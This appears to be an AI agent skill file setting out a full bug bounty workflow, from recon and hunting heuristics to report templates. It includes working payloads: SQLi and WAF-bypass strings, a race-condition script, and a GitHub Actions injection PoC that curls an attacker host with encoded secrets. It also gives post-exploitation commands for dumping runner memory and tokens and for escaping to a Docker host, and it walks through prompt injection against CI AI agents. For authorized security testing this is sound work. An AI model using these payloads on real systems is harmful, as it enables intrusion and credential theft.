Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bug Bounty Master Workflow
Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.
THE ONLY QUESTION THAT MATTERS
"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"
If the answer is NO -- STOP. Do not write. Do not explore further. Move on.
Theoretical Bug = Wasted Time. Kill These Immediately:
Pattern
Kill Reason
"Could theoretically allow..."
Not exploitable = not a bug
"An attacker with X, Y, Z conditions could..."
Too many preconditions
"Wrong implementation but no practical impact"
Wrong but harmless = not a bug
Dead code with a bug in it
Not reachable = not a bug
Source maps without secrets
No impact
SSRF with DNS-only callback
Need data exfil or internal access
Open redirect alone
Need ATO or OAuth chain
"Could be used in a chain if..."
Build the chain first, THEN report
You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.
CRITICAL RULES
READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
One bug class at a time -- go deep, don't spray
Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else
For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see skills/bb-methodology/SKILL.md.
A->B BUG SIGNAL METHOD (Cluster Hunting)
When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.
Known A->B->C Chains
Bug A (Signal)
Hunt for Bug B
Escalate to C
IDOR (read)
PUT/DELETE on same endpoint
Full account data manipulation
SSRF (any)
Cloud metadata 169.254.169.254
IAM credential exfil -> RCE
XSS (stored)
Check if HttpOnly is set on session cookie
Session hijack -> ATO
Open redirect
OAuth redirect_uri accepts your domain
Auth code theft -> ATO
S3 bucket listing
Enumerate JS bundles
Grep for OAuth client_secret -> OAuth chain
Rate limit bypass
OTP brute force
Account takeover
GraphQL introspection
Missing field-level auth
Mass PII exfil
Debug endpoint
Leaked environment variables
Cloud credential -> infrastructure access
CORS reflects origin
Test with credentials: include
Credentialed data theft
Host header injection
Password reset poisoning
ATO via reset link
Cluster Hunt Protocol (6 Steps)
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact
TOP 1% HACKER MINDSET
How Elite Hackers Think Differently
Average hunter: Runs tools, checks checklist, gives up after 30 min.
Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"
Pre-Hunt Mental Framework
Step 1: Crown Jewel Thinking
Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
Financial app -> drain funds, transfer to attacker account
Healthcare -> PII leak, HIPAA violation
SaaS -> tenant data crossing, admin takeover
Auth provider -> full SSO chain compromise
Step 2: Developer Empathy
Think like the developer who built the feature:
What was the simplest implementation?
What shortcut would a tired dev take at 2am?
Where is auth checked -- controller? middleware? DB layer?
What happens when you call endpoint B without going through endpoint A first?
Step 3: Trust Boundary Mapping
Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?
Step 4: Feature Interaction Thinking
Does this new feature reuse old auth, or does it have its own?
Does the mobile API share auth logic with the web app?
Was this feature built by the same team or a third-party?
The Top 1% Mental Checklist
I know the app's core business model
I've used the app as a real user for 15+ minutes
I know the tech stack (language, framework, auth system, caching)
I've read at least 3 disclosed reports for this program
I have 2 test accounts ready (attacker + victim)
I've defined my primary target: ONE crown jewel I'm hunting for today
Mindset Rules from Top Hunters
"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.
"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.
"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.
"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.
"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.
"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.
"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.
TOOLS
Go Binaries
Tool
Use
subfinder
Passive subdomain enum
httpx
Probe live hosts
dnsx
DNS resolution
nuclei
Template scanner
katana
Crawl
waybackurls
Archive URLs
gau
Known URLs
dalfox
XSS scanner
ffuf
Fuzzer
anew
Dedup append
qsreplace
Replace param values
assetfinder
Subdomain enum
gf
Grep patterns (xss, sqli, ssrf, redirect)
interactsh-client
OOB callbacks
Tools to Install When Needed
Tool
Use
Install
arjun
Hidden parameter discovery
pip3 install arjun
paramspider
URL parameter mining
pip3 install paramspider
kiterunner
API endpoint brute
go install github.com/assetnote/kiterunner/cmd/kr@latest
# Manual S3 brutefor suffix in dev staging test backup api data assets static cdn; do
code=$(curl -s -o /dev/null -w "%{http_code}""https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo"$code${TARGET}-${suffix}.s3.amazonaws.com"done
Panic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.
Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.
defqueueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i inrange(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packetdefhandleResponse(req, interesting):
table.add(req)
Business Logic
Negative quantities in cart
Price parameter tampering
Workflow skip (e.g., pay without checkout)
Role escalation via registration fields
Privilege persistence after downgrade
XSS -- Cross-Site Scripting
XSS Sinks (grep for these)
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string formsetInterval(userInput, ...)
newFunction(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInput
XSS Chains (escalate from Medium to High/Critical)
XSS + service worker = persistent XSS across pages
XSS + credential theft via fake login form = ATO
XSS in chatbot response = stored XSS chain
SQL Injection
Detection
# Single quote test' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
# Error-based detection'; SELECT 1/0-- # divide by zero error reveals SQLi
Modern SQLi WAF Bypass
-- Comment variation/*!50000 SELECT*/*FROM users
SE/**/LECT *FROM users
-- Case variationSeLeCt*FrOm uSeRs
-- URL encoding%27OR%271%27=%271-- Unicode apostrophe' OR '1'='1
GraphQL
Introspection (alone = Informational, but reveals attack surface)
{ __schema { types { name fields { name type{ name }}}}}
Missing Field-Level Auth
# User query returns only own data{ user(id:1){ name email }}# But node() bypasses per-object auth:{ node(id:"dXNlcjoy"){...on User { email phoneNumber ssn }}}
Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
Root cause: Privileged triggers (pull_request_target, workflow_run) checkout attacker's PR code, which then runs with repository secrets.
Untrusted checkout — actions/checkout on pull_request_target without explicit safe ref
# VULNERABLE — checks out attacker's PR code with repo secretson:pull_request_targetjobs:build:steps:-uses:actions/checkout@v4with:ref:${{github.event.pull_request.head.sha}}# ATTACKER CODE-run:makebuild# runs attacker's Makefile with secrets# FIXED — only checkout base branch, or use read-only permissionspermissions: {}
steps:-uses:actions/checkout@v4# checks out base branch by default
# VULNERABLE — tag can be force-pusheduses:actions/checkout@v4# FIXED — pinned to immutable commit SHAuses:actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11# v4.1.1
Impostor commit — fork network allows pushing commits with SHA that appears to belong to upstream repo
Ref confusion — ambiguous tag/branch names exploited to load unintended action version
Known vulnerable actions — check actions against GHSA database (sisakulint detects automatically)
Archived actions — unmaintained action with unpatched vulnerabilities
Excessive secrets: inherit — reusable workflow call inherits all secrets when it only needs one
Hardcoded credentials — API keys, passwords, tokens directly in workflow YAML
Category 5: Triggers & Access Control (CICD-SEC-01)
Dangerous triggers without mitigation — pull_request_target or workflow_run with no permissions: {}, no approval gate, no ref restriction
Dangerous triggers with partial mitigation — some protections present but bypassable
Label-based approval bypass — if: contains(github.event.pull_request.labels.*.name, 'approved') is spoofable (attacker can add labels)
Bot condition spoofing — if: github.actor != 'dependabot[bot]' is trivially bypassed by naming account similarly
Excessive GITHUB_TOKEN permissions — permissions: write-all when only contents: read needed
Self-hosted runners in public repos — untrusted PRs execute on org infrastructure = container escape → lateral movement
OIDC token theft — CI runners expose OIDC tokens that grant cloud access
Category 6: AI Agent Security (NEW — 2025+)
Unrestricted AI trigger — allowed_non_write_users: "*" lets any user trigger AI agent execution
Excessive tool grants — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE
Prompt injection via workflow context — ${{ github.event.issue.body }} interpolated into AI agent prompt parameter
Hunting Workflow
1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
b. What secrets are accessible? (check permissions: block, secrets usage)
c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering
Expression Injection PoC Template
# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated# CVSS: 9.3 Critical (RCE with repo secrets)
Deep-Dive: From sisakulint Finding to Bounty Report
sisakulint findings are potentially exploitable — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.
1. Code Injection / Argument Injection
Gate question: Can an external attacker trigger this workflow AND does the tainted input reach a shell context?
Verification depth:
Trigger accessibility — issues: opened and issue_comment: created are triggerable by ANY GitHub user. pull_request_target is triggerable via fork PR. Check if there's an if: condition filtering by actor/association.
Direct vs transitive taint — The workflow file itself may look safe. Cycode found Bazel's $13K bug because cherry-picker.yml passed ${{ github.event.issue.title }} via with: to a composite action in another repo (bazelbuild/continuous-integration). The composite action's action.yml had run: TITLE="${{ inputs.issue-title }}". Conventional scanners (actionlint) missed this because they don't follow uses: into external composite actions. Always fetch and read the composite action's action.yml.
Payload construction — Branch names cannot contain spaces. Ultralytics YOLO attacker used ${IFS} (Internal Field Separator) and Bash brace expansion {curl,-sSfL,URL} to bypass this. Issue titles/bodies have no such restriction.
Secrets reachability — Check permissions: at workflow AND job level. No explicit permissions: block = repo default (often write-all). Check env: blocks for ${{ secrets.* }}. Check if GITHUB_TOKEN has write permissions.
Kill signals:${{ contains(...) }} or ${{ startsWith(...) }} returning booleans are NOT injectable — false positive. ${{ github.event.pull_request.labels.*.name }} inside contains() evaluates to true/false, not the label text.
2. Untrusted Checkout (Pwn Request)
Gate question: Does the workflow checkout attacker-controlled code AND then execute something from that checkout?
Verification depth:
Explicit vs implicit code execution — The Flank $7.5K bug: gh pr checkout → gradle/gradle-build-action runs Gradle → Gradle auto-evaluates settings.gradle.kts as Kotlin script. The attacker never wrote a run: command. Any build tool that reads config from the repo is an execution vector: Makefile, package.json (postinstall scripts), setup.py, build.gradle.kts, .cargo/config.toml, Gemfile.
Issue_comment is as dangerous as pull_request_target — Rspack NPM token theft: issue_comment trigger + refs/pull/${{ github.event.issue.number }}/head checkout. issue_comment runs in base repo context with full secrets. Draft PRs are included. No contributor status check. Always check issue_comment workflows for PR checkout patterns.
Self-hosted runner escalation — If runs-on: contains self-hosted, check: (a) Is the runner ephemeral? (--ephemeral in config.sh). (b) Is the runner in Docker group? (docker run -v /:/host --privileged). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner: RUNNER_TRACKING_ID=0 + install attacker's runner agent) → wait for privileged workflow → steal PATs from .git/config or process memory.
TOCTOU — Label-gated pull_request_target workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The ref: at checkout time resolves to the new commit. Mutable refs (github.event.pull_request.head.sha at trigger time vs checkout time) are the root cause.
Post-exploitation — After initial access, enumerate all secrets: env | base64, cat /proc/self/environ, gcore $(pgrep Runner.Worker) + strings core.* | grep ghp_. PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.
Kill signals:if: "!github.event.pull_request.head.repo.fork" blocks external attackers. permissions: {} at workflow level with only contents: read at job level limits damage. Ephemeral runners with --ephemeral flag prevent persistence.
3. Artifact Poisoning
Gate question: Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?
Verification depth:
Cross-workflow artifact flow — Same-workflow upload/download (build job → test job via needs:) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is: pull_request workflow uploads → separate workflow_run workflow downloads. workflow_run triggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.
Download path matters — actions/download-artifact with path: . or workspace-relative paths (grafana-server/bin) can overwrite source code, build scripts, or binaries. Safe pattern: extract to ${{ runner.temp }}/artifacts.
Source validation — Does the workflow_run consumer check github.event.workflow_run.head_repository.full_name != github.repository? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.
ArtiPACKED (persist-credentials) — actions/checkout defaults to persist-credentials: true. This writes GITHUB_TOKEN to .git/config. If the artifact upload path includes .git/ (e.g., path: .), the token is publicly downloadable from the Actions artifact. Check: does any upload-artifact step use path: . or a broad path that includes .git/?
Kill signals: Upload and download in the same workflow run (connected by needs:). workflow_run consumer that explicitly checks fork origin. persist-credentials: false on checkout.
4. Cache Poisoning
Gate question: Can a fork PR write a cache entry that the default branch later restores in a privileged context?
CRITICAL: GitHub's cache scoping does NOT fully prevent this. A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic (hashFiles('package-lock.json')) and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.
Verification depth:
Key predictability — key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }} is fully predictable. Adding github.sha or github.run_id to the key makes it unpredictable. Check every cache key for the presence of an unpredictable component.
Cache hierarchy exploitation — workflow_run and workflow_dispatch workflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. The run-dashboard-search-e2e.yml pattern: workflow_run trigger → actions/cache with hashFiles() key → all PR workflows read this cache.
Payload injection — Cacheract: inject malware into package manager caches (node_modules/.cache, ~/.cache/pip, ~/.gradle/caches). The malware self-perpetuates because each restore → build → save cycle preserves the payload. Cache TTL is 7 days — the payload survives across multiple workflow runs.
Privileged consumption — The cache is restored in a push or schedule workflow on the default branch. These workflows have full secrets access. The poisoned dependency executes during npm install / pip install / gradle build and exfiltrates secrets.
Clinejection chain — Prompt injection → AI agent runs npm install from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.
Kill signals: Cache key includes github.sha or github.run_id. Separate cache keys per workflow. actions/cache/restore (read-only) instead of actions/cache (read-write) in PR workflows.
5. Self-Hosted Runners
Gate question: Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?
Verification depth:
Approval settings — Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.
Runner persistence — Non-ephemeral runners retain state between jobs. RUNNER_TRACKING_ID=0 prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (docker run -d --restart always) also survive cleanup.
Runner-on-Runner (RoR) — Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com — indistinguishable from normal runner traffic. No C2 server needed. GitHub itself is the C2.
Lateral movement — RoR persistence → wait for privileged push/schedule workflows → steal tokens from .git/config, $GITHUB_ENV, /proc/PID/environ, or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access → pip install pytorch supply chain.
Docker group escalation — docker run -v /:/host --privileged alpine chroot /host → full host root. Add SSH keys, modify sudoers, install persistent backdoors.
Kill signals:--ephemeral flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).
Gate question: Does the workflow use mutable tags (@v1, @v2) for actions, and could those tags be replaced?
Verification depth:
Tag mutability — git tag -f v1 <malicious-commit> replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks.
Impostor commits — Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's uses:. GitHub resolves it because the SHA exists in the shared object store.
RepoJacking — Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used MirrorNG/unity-runner → MirrorNG renamed to MirageNet → MirrorNG was claimable. Check: GET /users/<action-owner> returns 404? Takeover possible.
Payload stealth — tj-actions memdump.py: extract secrets from Runner.Worker process memory via /proc/PID/maps + /proc/PID/mem, encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key.
Kill signals: Full 40-char SHA pinning (uses: actions/checkout@b4ffde65...). Dependabot configured for github-actions ecosystem. Organization-level action allowlist.
7. AI Agent Security
Gate question: Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?
Verification depth:
Trigger + prompt source — issues: opened → AI triage bot reads github.event.issue.body. The body IS the prompt. HTML comments (<!-- ignore previous instructions -->) are invisible in GitHub UI but included in the API response and thus in the AI prompt.
Tool permissions — If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil. allowed_non_write_users: "*" means ANY user can trigger.
Multi-phase chain — Clinejection: prompt injection → AI runs npm install from attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.
Kill signals:author_association == 'MEMBER' || 'OWNER' check before AI processing. --read-only --no-exec flags on AI CLI. permissions: {} at workflow level.
8. Permissions / Secrets Hygiene
Not standalone bugs — these are force multipliers. A code-injection-medium with permissions: write-all is Critical. The same injection with permissions: { contents: read } is limited.
Chaining checklist:
secrets: inherit on reusable workflow call → all org secrets accessible to called workflow
GITHUB_TOKEN with contents: write → CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)
# Check for dangling CNAMEscat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
Quick-Kill Fingerprints
"There isn't a GitHub Pages site here" -> GitHub Pages
"NoSuchBucket" -> AWS S3
"No such app" -> Heroku
"404 Web Site not found" -> Azure App Service
"Fastly error: unknown domain" -> Fastly CDN
"project not found" -> GitLab Pages
"It looks like you may have typed..." -> Shopify
Impact Escalation
Basic takeover: serve page under target.com subdomain -> Low/Medium
Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX -> ATO# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
Path 2: Reset Token in Referrer Leak
After clicking reset link, if page loads external resources -> token in Referer header to external domain.
Path 3: Predictable / Weak Reset Tokens
# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
Path 4: Token Not Expiring / Reuse
Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?
Path 5: Email Change Without Re-Authentication
PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required -> attacker changes email -> locks out victim
Path 6: OAuth Account Linking Abuse
Can you link an OAuth account from a different email to an existing account?
Path 7: Session Fixation
GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.
Cloud / Infra Misconfigs
S3 / GCS / Azure Blob
# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common namesfor name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
curl -s -o /dev/null -w "$name: %{http_code}\n""https://$name.s3.amazonaws.com/"done
curl -s "https://TARGET-APP.firebaseio.com/.json"# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'# If success -> open write -> Critical
The 7-Question Gate (Run BEFORE Writing ANY Report)
All 7 must be YES. Any NO -> STOP.
Q1: Can I exploit this RIGHT NOW with a real PoC?
Write the exact HTTP request. If you cannot produce a working request -> KILL IT.
Q2: Does it affect a REAL user who took NO unusual actions?
No "the user would need to..." with 5 preconditions. Victim did nothing special.
Q3: Is the impact concrete (money, PII, ATO, RCE)?
"Technically possible" is not impact. "I read victim's SSN" is impact.
Q4: Is this in scope per the program policy?
Check the exact domain/endpoint against the program's scope page.
Q5: Did I check Hacktivity/changelog for duplicates?
Search the program's disclosed reports and recent changelog entries.
Q6: Is this NOT on the "always rejected" list?
Check the list below. If it's there and you can't chain it -> KILL IT.
Q7: Would a triager reading this say "yes, that's a real bug"?
Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?
4 Pre-Submission Gates
Gate 0: Reality Check (30 seconds)
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
Gate 1: Impact Validation (2 minutes)
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
Gate 2: Deduplication Check (5 minutes)
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
Gate 3: Report Quality (10 minutes)
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
CVSS 3.1 Quick Guide
Factor
Low (0-3.9)
Medium (4-6.9)
High (7-8.9)
Critical (9-10)
Attack Vector
Physical
Local
Adjacent
Network
Privileges
High
Low
None
None
User Interaction
Required
Required
None
None
Impact
Partial
Partial
High
High (all 3)
Typical Scores by Bug Class
Bug
Typical CVSS
Severity
IDOR (read PII)
6.5
Medium
IDOR (write/delete)
7.5
High
Auth bypass -> admin
9.8
Critical
Stored XSS
5.4-8.8
Med-High
SQLi (data exfil)
8.6
High
SSRF (cloud metadata)
9.1
Critical
Race condition (double spend)
7.5
High
GraphQL auth bypass
8.7
High
JWT none algorithm
9.1
Critical
ALWAYS REJECTED -- Never Submit These
Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.
N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.
Conditionally Valid With Chain
These low findings become valid bugs when chained:
Low Finding
+ Chain
= Valid Bug
Open redirect
+ OAuth code theft
ATO
Clickjacking
+ sensitive action + PoC
Account action
CORS wildcard
+ credentialed exfil
Data theft
CSRF
+ sensitive state change
Account takeover
No rate limit
+ OTP brute force
ATO
SSRF (DNS only)
+ internal access proof
Internal network access
Host header injection
+ password reset poisoning
ATO
Self-XSS
+ login CSRF
Stored XSS on victim
PHASE 5: REPORT
HackerOne Report Template
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
## Summary
[2-3 sentences: what it is, where it is, what attacker can do]
## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]
## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]
## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
Bugcrowd Report Template
Title: [Vuln] at [endpoint] -- [Impact in one line]
Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]
Description:
[Root cause + exact location]
Reproduction:
1. [step]
2. [step]
3. [step]
Impact:
[Concrete business impact]
Fix Suggestion:
[Specific remediation]
Human Tone Rules (Avoid AI-Sounding Writing)
Start sentences with the impact, not the vulnerability name
Write like you're explaining to a smart developer, not a textbook
Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
One concrete example beats three abstract sentences
No em dashes, no "comprehensive/leverage/seamless/ensure"
Report Title Formula
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
Good titles:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
Bad titles:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API
Impact Statement Formula (First Paragraph)
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
The 60-Second Pre-Submit Checklist
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
